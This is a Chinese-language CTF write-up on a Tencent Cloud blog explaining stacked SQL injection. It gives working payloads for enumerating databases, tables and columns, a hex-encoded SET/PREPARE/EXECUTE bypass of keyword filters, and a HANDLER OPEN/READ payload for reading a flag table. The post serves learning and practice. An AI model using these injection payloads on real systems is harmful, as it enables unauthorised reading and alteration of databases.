前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Stacking Injection

Stacking Injection

作者头像
ly0n
发布2020-11-04 11:02:24
3580
发布2020-11-04 11:02:24
举报
文章被收录于专栏:ly0nly0n

前言

​ 今天刷题又碰到了一个堆叠注入的题目,由于之前接触过一点,看了下自己博客发现没有记录,所以刚好以这个题目为例子来记录下堆叠注入的学习!

原理分析

​ 对于sql注入来说,对于web狗来说应该是十分熟悉的名词了吧。

今天我们的主角就是sql注入大家庭的一员Stacking Injection(堆叠注入),对于经常使用的sql语句我想大家应该都有所了解,每一个sql语句的结尾都要用分号(;)来结尾,可以这么理解,正常情况下分号(;)就是一个sql语句的结束,举个例子 show tables; 可以看到结果

正常的得到了数据里的表名,但是如果在这一个sql语句后面再写一个sql语句我们能查得到我们想要的数据,或者能做到我们想做到的事情吗?就好比我们再这一个已经完成的sql语句后再加一个sql语句让他执行任意的语句 ,这两条语句就会同时执行,举个例子 show tables; show columns from flag;

看到我们的两个sql语句都得到了执行。

堆叠注入用处

新建和删除表

sql语句: show tables;create table ly0n like flag;

后面可以是任意正确的sql语句,都可以被执行,并得到想要的信息。

题目分析

拿到题目大眼看了一下,通过payload 猜测考点是sql注入

于是就开始了常规的操作,但是在联合查询的时候发现了过滤了很多的关键字

看来是姿势不对,之前看过一些关于堆叠注入的文章,就尝试了一下

构造

代码语言:javascript
复制
1'; show databases;#

得到回显,确认是堆叠注入,然后看能不能得到表名和字段名

构造

代码语言:javascript
复制
1'; show tables;#

得到了两个表名,查下字段

代码语言:javascript
复制
1'; show columns from words;#
代码语言:javascript
复制
1'; show columns from '1919810931114514';#

得不到返回值,很懵,在这蒙了很久

突然想到对数字表名进行操作时要加反引号`

代码语言:javascript
复制
1'; show columns from `1919810931114514`;#

看到了flag然后却读不出来,实在是很无奈,翻阅了大佬们的wp

大佬向我们展示了一手存储过程绕过

代码语言:javascript
复制
';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

成功得到flag!

另一种姿势

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

payload

代码语言:javascript
复制
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

文章写的不好,希望大师傅们轻点怼!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-05-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原理分析
  • 堆叠注入用处
    • 新建和删除表
    • 题目分析
      • 另一种姿势
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档